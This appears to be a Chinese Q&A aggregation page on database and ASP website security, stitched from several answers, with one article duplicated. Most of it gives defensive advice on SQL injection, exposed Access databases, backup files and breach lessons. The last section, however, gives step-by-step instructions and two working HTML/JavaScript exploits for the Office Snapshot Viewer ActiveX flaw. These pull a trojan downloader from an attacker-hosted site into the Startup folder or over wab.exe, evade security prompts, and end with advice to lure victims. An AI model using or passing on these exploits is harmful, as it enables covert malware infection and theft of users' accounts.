Ⅰ 怎么防止用户下载我的数据库
常说的是利用sql注入漏洞来下载数据库，
解决方法是过滤用户提供的sql语句参数，过滤掉有影响的参数，
另一个是把数据库改名为不规则的名字，避免被猜中（access数据库），
比如不要使用mydatabase这么简单的名字作为数据库，可以是哦能够没；
dsfa234256546ladfjl作为数据库名字，这样可以减少被猜中的机会
如果想详细了解这方面的内容，可以搜索
“sql注入漏洞”
即可找到相关的介绍
Ⅱ 最常见的数据库安全漏洞
无论如何，数据泄露总是破坏性的;但更糟的是，要怎么向受影响的用户、投资人和证监会交代呢?一家公司上千万用户的个人数据，总不会自己长脚跑到黑市上躺着被卖吧?于是，在各种监管机构找上门来问一些很难堪的问题之前，北大青鸟http://www.kmbdqn.cn/带大家还是来看看这几个最常见的数据库安全漏洞吧。
数据库安全重要性上升
只要存储了任何人士的任意个人数据，无论是用户还是公司员工，数据库安全都是重中之重。然而，随着黑市对数据需求的上升，成功数据泄露利润的上涨，数据库安全解决方案也就变得比以往更为重要了。尤其是考虑到2016年堪称创纪录的数据泄露年的情况下。
身份盗窃资源中心的数据显示，美国2016年的数据泄露事件比上一年增长了40%，高达1,093起。商业领域是重灾区，紧随其后的是医疗保健行业。政府和教育机构也是常见目标。
常见数据库漏洞
1.部署问题
这就是数据库安全版的博尔特一蹬出起跑器就被鞋带绊倒。数据库经过广泛测试以确保能胜任应该做的所有工作，但有几家公司肯花时间保证数据库不干点儿什么不应该干的事儿呢?
解决办法：这个问题的解决办法十分明显：部署前做更多的测试，找出可被攻击者利用的非预期操作。
2.离线服务器数据泄露
公司数据库可能会托管在不接入互联网的服务器上，但这并不意味着对基于互联网的威胁完全免疫。无论有没有互联网连接，数据库都有可供黑客切入的网络接口。
解决办法：首先，将数据库服务器当成联网服务器一样看待，做好相应的安全防护。其次，用SSL或TSL加密通信平台加密其上数据。
3.错误配置的数据库
有太多太多的数据库都是被老旧未补的漏洞或默认账户配置参数出卖的。个中原因可能是管理员手头工作太多忙不过来，或者因为业务关键系统实在承受不住停机检查数据库的损失。无论原因为何，结果就是这么令人唏嘘。
解决办法：在整个公司中树立起数据库安全是首要任务的氛围，让数据库管理员有底气去花时间恰当配置和修复数据库。
4.SQL注入
SQL注入不仅仅是最常见的数据库漏洞，还是开放网页应用安全计划(OWASP)应用安全威胁列表上的头号威胁。该漏洞可使攻击者将SQL查询注入到数据库中，达成读取敏感数据、修改数据、执行管理操作乃至向操作系统发出指令等目的。
解决办法：开发过程中，对输入变量进行SQL注入测试。开发完成后，用防火墙保护好面向Web的数据库。
Ⅲ 最近几年数据库泄漏事件
泄露事故统计数字正在逐步下降，但数据仍然面临着由数据库、应用以及终端保护不当所引发的严重风险。
从多个角度来看，2013年的数据泄露趋势已经得到有效扼制，这对于安全行业来说当然是个好消息。不同于过去四到五年，今年的记录当中不再充斥着大型数据库泄露所导致的数以千万计个人身份信息的外流。根据隐私权信息交流中心的调查，本年度公开报道的泄露事故数量及记录在案的泄露事故数量双双呈下降趋势。去年同期，得到确切统计的记录泄露数量已经达到约278万条，漏洞报告则为637份。而在今年，目前为止记录在案的泄露事故约为107万条，漏洞报告则为483份。这充分证明整个安全行业在合规性与安全最佳实践方面所迎来的进步——然而这样的战绩与理想目标相比仍然相去甚远。
在对年初至今的数字进行比较时，我们发现记录在案的泄露事故数量大幅降低了61.7%，然而报告提及的泄露事故数量则仅降低了24.2%。这表明泄露事故仍然快速发生——只不过如今的犯罪活动及违规事件开始逐步扩散而非集中于一点。泄露事件影响范围更小，而且根据安全业内人士的说法，此类恶意活动的目标也更为广泛。现在犯罪分子开始更多地窃取IP或者其它数字资产，由此引发的损失可能比客户记录本身更为严重——同时这也更加难以量化，无法提供头条新闻所必需的统计结果。
通过对今年发生的泄露事故的深入钻研，我们发现安全行业明显仍有大量工作要做。2013年的追踪记录证明，有价值数据库仍然没有受到严格保护与加密、应用程序仍然存在大量安全漏洞、用户们则仍然能够从敏感数据库中下载大量信息并将其保存在缺乏保护的终端当中。为了帮助大家更好地理解当前安全角势，我们选取了几项最具代表意义的实例，希望各位能够从中吸取可资借鉴的教训。
当事企业： CorporateCarOnline.com
泄露统计： 850,000份记录被盗
事故细节：作为全美最具知名度的专业体育、娱乐外加五百强企业，CorporateCarOnline.com拥有大量用户个人资料、信用卡号码以及其它个人身份信息，然而由于其开发出的全球豪车租赁SaaS数据库解决方案将全部信息以纯文本形式储存，最终导致这一切成为犯罪分子的囊中之物。名单中涉及不少大牌，包括汤姆·汉克斯、汤姆·达施勒以及唐纳德·特朗普等。
经验教训：最重要的教训在于认清这样一个现实：面对极具价值的财务与社会工程信息，攻击者们会爆发出极为可怕的技术能量。根据KrebsOnSecurity.com网站的调查，目前遭遇过违规活动的美国运通卡当中有四分之一为高额度甚至无限额度卡片，而且企业间谍分子或者娱乐小报记者也希望通过这类个人信息挖掘到有价值结论。与此同时，该公司在管理收支账目时完全没有考虑过信息安全性，甚至从未尝试采取任何最基本的加密措施。
当事企业： Adobe
泄露统计： 约三百万个人身份信息、超过1.5亿用户名/密码组合以及来自Adobe Acrobat、ColdFusion、ColdFusion Builder外加其它未说明产品的源代码惨遭窃取。
事故细节： 自最初的违规事件发生之后，接踵而来的更多攻击活动持续了一个多月之久，并最终导致了此次重大事故的发生。目前情况已经明确，Adobe正在努力恢复其失窃的大量登录凭证信息——更令人惊讶的是，连其产品源代码也一并泄露。
经验教训： 通过Adobe遭遇的这一轮震惊世界的攻击活动，我们不仅切身感受到攻击者在企业网络中建立根据地并夺取了整套业务储备控制权后所能带来的损害，同时也应学会在考虑将供应商引入软件供应链之前、考察对方在安全领域营造出了怎样的企业生态。作为此次泄露事故的后续影响，其潜在后果恐怕在很长一段时间内都无法彻底消除。
当事企业： 美国能源部
泄露统计： 53000位前任及现任能源部员工的个人身份信息遭到窃取
事故细节： 攻击者将矛头指向了DOEInfo——该机构利用ColdFusion所打造的、已经弃之不用的CFO办公室公开访问系统。能源部官员表示，此次泄露事故只限于内部员工的个人身份信息。
经验教训： 我们从中应该吸取两大教训。首先，安装补丁过去是、现在是、未来也将一直是最为重要的安全任务。其次，各机构必须通过重新审视与敏感数据库相对接的系统最大程度减少攻击面，保证只向公众开放必要的网站。
当事企业： Advocate Medical Group
泄露统计： 四百万病人记录遭到窃取
事故细节： 仅仅由于犯罪分子从办公室里偷走了四台由该公司拥有的计算机，最终导致了这起四百万病人记录丢失的事故——公司官方将此称为自2009年卫生部强制要求通告安全事故以来、美国发生过的第二大医疗信息泄露案件。
经验教训： 医疗行业的数据泄露事故在2013年的违规披露名单当中一直占据主导，但这一次的案件造成的影响显然特别恶劣。仅仅由于一台物理计算设备失窃就最终导致从上世纪九十年代至今的病人记录泄露，这充分暴露了该公司在物理安全、终端安全、加密以及数据保护等各个方面的全线失误。需要强调的是，终端设备被盗与丢失在医疗行业中已经屡见不鲜。现在这些机构可能需要尽快思考终端设备到底能够下载并保存多少来自中央数据库的信息。
Ⅳ 北京北大青鸟：最常见的数据库安全漏洞
无论如何，数据泄露总是破坏性的;但更糟的是，要怎么向受影响的用户、投资人和证监会交代呢?一家公司上千万用户的个人数据，总不会自己长脚跑到黑市上躺着被卖吧?于是，在各种监管机构找上门来问一些很难堪的问题之前，北大青鸟http://www.kmbdqn.cn/带大家还是来看看这几个最常见的数据库安全漏洞吧。
数据库安全重要性上升只要存储了任何人士的任意个人数据，无论是用户还是公司员工，数据库安全都是重中之重。
然而，随着黑市对数据需求的上升，成功数据泄露利润的上涨，数据库安全解决方案也就变得比以往更为重要了。
尤其是考虑到2016年堪称创纪录的数据泄露年的情况下。
身份盗窃资源中心的数据显示，美国2016年的数据泄露事件比上一年增长了40%，高达1,093起。
商业领域是重灾区，紧随其后的是医疗保健行业。
政府和教育机构也是常见目标。
常见数据库漏洞1.部署问题这就是数据库安全版的博尔特一蹬出起跑器就被鞋带绊倒。
数据库经过广泛测试以确保能胜任应该做的所有工作，但有几家公司肯花时间保证数据库不干点儿什么不应该干的事儿呢?解决办法：这个问题的解决办法十分明显：部署前做更多的测试，找出可被攻击者利用的非预期操作。
2.离线服务器数据泄露公司数据库可能会托管在不接入互联网的服务器上，但这并不意味着对基于互联网的威胁完全免疫。
无论有没有互联网连接，数据库都有可供黑客切入的网络接口。
解决办法：首先，将数据库服务器当成联网服务器一样看待，做好相应的安全防护。
其次，用SSL或TSL加密通信平台加密其上数据。
3.错误配置的数据库有太多太多的数据库都是被老旧未补的漏洞或默认账户配置参数出卖的。
个中原因可能是管理员手头工作太多忙不过来，或者因为业务关键系统实在承受不住停机检查数据库的损失。
无论原因为何，结果就是这么令人唏嘘。
解决办法：在整个公司中树立起数据库安全是首要任务的氛围，让数据库管理员有底气去花时间恰当配置和修复数据库。
4.SQL注入SQL注入不仅仅是最常见的数据库漏洞，还是开放网页应用安全计划(OWASP)应用安全威胁列表上的头号威胁。
该漏洞可使攻击者将SQL查询注入到数据库中，达成读取敏感数据、修改数据、执行管理操作乃至向操作系统发出指令等目的。
解决办法：开发过程中，对输入变量进行SQL注入测试。
开发完成后，用防火墙保护好面向Web的数据库。
Ⅳ 请教SEO高人们
1、用户名与口令被破解
攻击原理：用户名与口令，往往是黑客们最感兴趣的东西，如果被通过某种方式看到源代码，后果是严重的。防范技巧：涉及用户名与口令的程序最好封装在服务器端，尽量少在ASP文件里出现，涉及与数据库连接的用户名与口令应给予最小的权限。出现次数多的用户名与口令可以写在一个位置比较隐蔽的包含文件中。如果涉及与数据库连接，在理想状态下只给它以执行存储过程的权限，千万不要直接给予该用户修改、插入、删除记录的权限。
2、验证被绕过
攻击原理：现在需要经过验证的ASP程序大多是在页面头部加一个判断语句，但这还不够，有可能被黑客绕过验证直接进入。
防范技巧：需要经过验证的ASP页面，可跟踪上一个页面的文件名，只有从上一页面转进来的会话才能读取这个页面。
3、inc文件泄露问题
攻击原理：当存在ASP的主页正在制作且没有进行最后调试完成以前，可以被某些搜索引擎机动追加为搜索对象。如果这时候有人利用搜索引擎对这些网页进行查找，会得到有关文件的定位，并能在浏览器中查看到数据库地点和结构的细节，并以此揭示完整的源代码。
防范技巧：程序员应该在网页发布前对它进行彻底的调试;安全专家则需要加固ASP文件以便外部的用户不能看到它们。首先对.inc文件内容进行加密，其次也可以使用.asp文件代替.inc文件使用户无法从浏览器直接观看文件的源代码。inc文件的文件名不要使用系统默认的或者有特殊含义容易被用户猜测到的名称，尽量使用无规则的英文字母。
4、自动备份被下载
攻击原理：在有些编辑ASP程序的工具中，当创建或者修改一个ASP文件时，编辑器自动创建一个备份文件，比如：UltraEdit就会备份一个.bak文件，如你创建或者修改了some.asp，编辑器会自动生成一个叫some.asp.bak文件，如果你没有删除这个bak文件，攻击者可以直接下载some.asp.bak文件，这样some.asp的源程序就会被下载。
防范技巧：上传程序之前要仔细检查，删除不必要的文档。对以BAK为后缀的文件要特别小心。
5、特殊字符
攻击原理：输入框是黑客利用的一个目标，他们可以通过输入脚本语言等对用户客户端造成损坏;如果该输入框涉及数据查询，他们会利用特殊查询语句，得到更多的数据库数据，甚至表的全部。因此必须对输入框进行过滤。但如果为了提高效率仅在客户端进行输入合法性检查，仍有可能被绕过。
防范技巧：在处理类似留言板、BBS等输入框的ASP程序中，最好屏蔽掉HTML、javascript、VBScript语句，如无特殊要求，可以限定只允许输入字母与数字，屏蔽掉特殊字符。同时对输入字符的长度进行限制。而且不但要在客户端进行输入合法性检查，同时要在服务器端程序中进行类似检查。
6、数据库下载漏洞
攻击原理：在用Access做后台数据库时，如果有人通过各种方法知道或者猜到了服务器的Access数据库的路径和数据库名称，那么他也能够下载这个Access数据库文件，这是非常危险的。
防范技巧：
(1)为你的数据库文件名称起个复杂的非常规的名字，并把它放在几层目录下。所谓 “非常规”， 打个比方说，比如有个数据库要保存的是有关书籍的信息， 可不要给它起个“book.mdb”的名字，而要起个怪怪的名称，比如d34ksfslf.mdb， 并把它放在如./kdslf/i44/studi/的几层目录下，这样黑客要想通过猜的方式得到你的Access数据库文件就难上加难了。
(2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中，比如： DBPath = Server.MapPath(“cmddb.mdb”)
conn.Open “driver={Microsoft Access Driver (*.mdb)};dbq=” & DBPath
假如万一给人拿到了源程序，你的Access数据库的名字就一览无余了。因此建议你在ODBC里设置数据源，再在程序中这样写：
conn.open“shujiyuan”
(3)使用Access来为数据库文件编码及加密。首先在“工具→安全→加密/解密数据库”中选取数据库(如：employer.mdb)，然后按确定，接着会出现“数据库加密后另存为”的窗口，可存为：“employer1.mdb”。
要注意的是，以上的动作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密，首先打开经过编码了的 employer1.mdb，在打开时，选择“独占”方式。然后选取功能表的“工具→安全→设置数据库密码”，接着输入密码即可。这样即使他人得到了employer1.mdb文件，没有密码他也是无法看到 employer1.mdb中的内容。
7、防范远程注入攻击
这类攻击在以前应该是比较常见的攻击方式,比如POST攻击,攻击者可以随便的改变要提交的数据值已达到攻击目的.又如:COOKIES 的伪造,这一点更值得引起程序编写者或站长的注意，不要使用COOKIES来做为用户验证的方式,否则你和把钥匙留给贼是同一个道理.
比如: If trim(Request. cookies ("uname"))="fqy" and Request.cookies("upwd") =”fqy#e3i5.com” then
……..more………
Ⅵ Access数据库的漏洞有那些哪位高手指教一下！
有网页自己看也行..看我发的也行: http://www.chinaz.com/Program/Access/0Z93KC2008.html Access漏洞威胁的潜在人群十分巨大。目前已经有不少利用该漏洞的恶意网站了，一旦用户访问这些页面就会被植入木马下载器，这些木马下载器成功进入用户系统并执行后，就会下载其他的恶意程序木马，试图盗取用户的QQ、网游等账号，危险不言而喻。 本次Access漏洞除Office2007版本外，在以前的版本中广泛存在。由于用户在安装Office的时候很多都是选择的默认安装，附带也安装了Access，所以漏洞威胁的用户群数量非常的巨大。 HTTP GET功能导致漏洞出现 本次的Access漏洞的全名称为“Microsoft Office Snapshot Viewer ActiveX Exploit 漏洞”，是一个ActiveX控件漏洞。该漏洞存在于snapview.ocx控件中，出现的原因是因为该控件具有HTTP GET功能，这个功能可以从指定的网址下载指定的文件。 黑客要利用该漏洞，先要特制一个恶意网站引诱用户访问。当用户打开该网页的时候，恶意网址就赋给了HTTP GET功能，该功能被激活后就偷偷从恶意网址下载病毒，这样病毒就可以神不知鬼不觉地进入用户的系统中，威胁用户的各种账号和密码。受这个漏洞影响的Access版本有2003、2002、2000。 Access漏洞解决方案 方案1：现在已经有了该漏洞的补丁了，请大家赶快到 http://www.shudoo.com/bzsoft 下载。此外，我们还可以在“工具→Internet选项→安全”中，选择“Internet”图标，然后将下面的安全级别中设置为“高”(图3)，这样可以有效地阻止网页木马入侵。 图3 方案2 ：将以下内容复制在记事本中，另存为1.reg，然后双击导入注册表也可以堵上漏洞。 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210-368C-11D0-AD81-00A0C90DC8D9}] “Compatibility Flags”=dword:00000400 目前黑客利用Access漏洞的主要方式 方式1：写入启动项 先申请一个免费的Web空间，用Mini downloader by SEC配置网页木马，在“URL”处输入网页木马地址，再点击“Creat”，又再弹出窗口中将文件保存为test.exe，这样就网页木马就配置好了。 接着将test.exe上传到先前申请的免费空间里面，病毒地址就是：http://(这里是申请的空间地址)/test.exe 。将以下漏洞的利用代码复制粘贴到新建的记事本里，另存为test.html。 <html> <object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9′ id='obj'></object> <script language='javascript'> var buf1 = ‘http://（这里是申请的空间地址）/test.exe'; var buf2 = ‘C:/Documents and Settings/All Users/“开始”菜单/程序/启动/test.exe'; obj.SnapshotPath = buf1; obj.CompressedPath = buf2; </script> </html> 最后将test.html上传到空间里，得到病毒的访问地址：http://(这里是空间地址)/test.html。做到这步，剩下的工作就是传播网址引诱用户访问了。当用户访问该网页时就会中招，用户的电脑会在启动项里出现test.exe文件。 点评： 这种方式有个缺点，就是有些安全软件会提示有程序写入启动项。 方式2：不写入启动项 将以下代码复制到新建的记事本中，另存为test.html上传到空间即可。当用户访问该网页时也会中招，不过启动项里没有test.exe文件，用户无法察觉自己中毒了。 <html> <body> <script type="text/javascript"> function killErrors() { return true; } window.onerror = killErrors; var x; var obj; var mycars = new Array(); mycars[0] = "C:/Program Files/Outlook Express/wab.exe"; mycars[1] = "d:/Program Files/Outlook Express/wab.exe"; var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1"); if(objlcx="[object]") { setTimeout('window.location = "[url=ldap://"]ldap://"',3000[/url]); for (x in mycars) { obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1") var buf1 = 'http://（这里是申请的空间地址）/test.exe'; var buf2=mycars[x]; obj.Zoom = 0; obj.ShowNavigationButtons = false; obj.AllowContextMenu = false; obj.SnapshotPath = buf1; try { obj.CompressedPath = buf2; obj.PrintSnapshot(); }catch(e){} } } </script> </body> </html> 点评： 这种方式无需写入启动项，这样安全软件就不会有任何提示了，在用户访问恶意页面的时候直接中马，使用户中马的概率更高。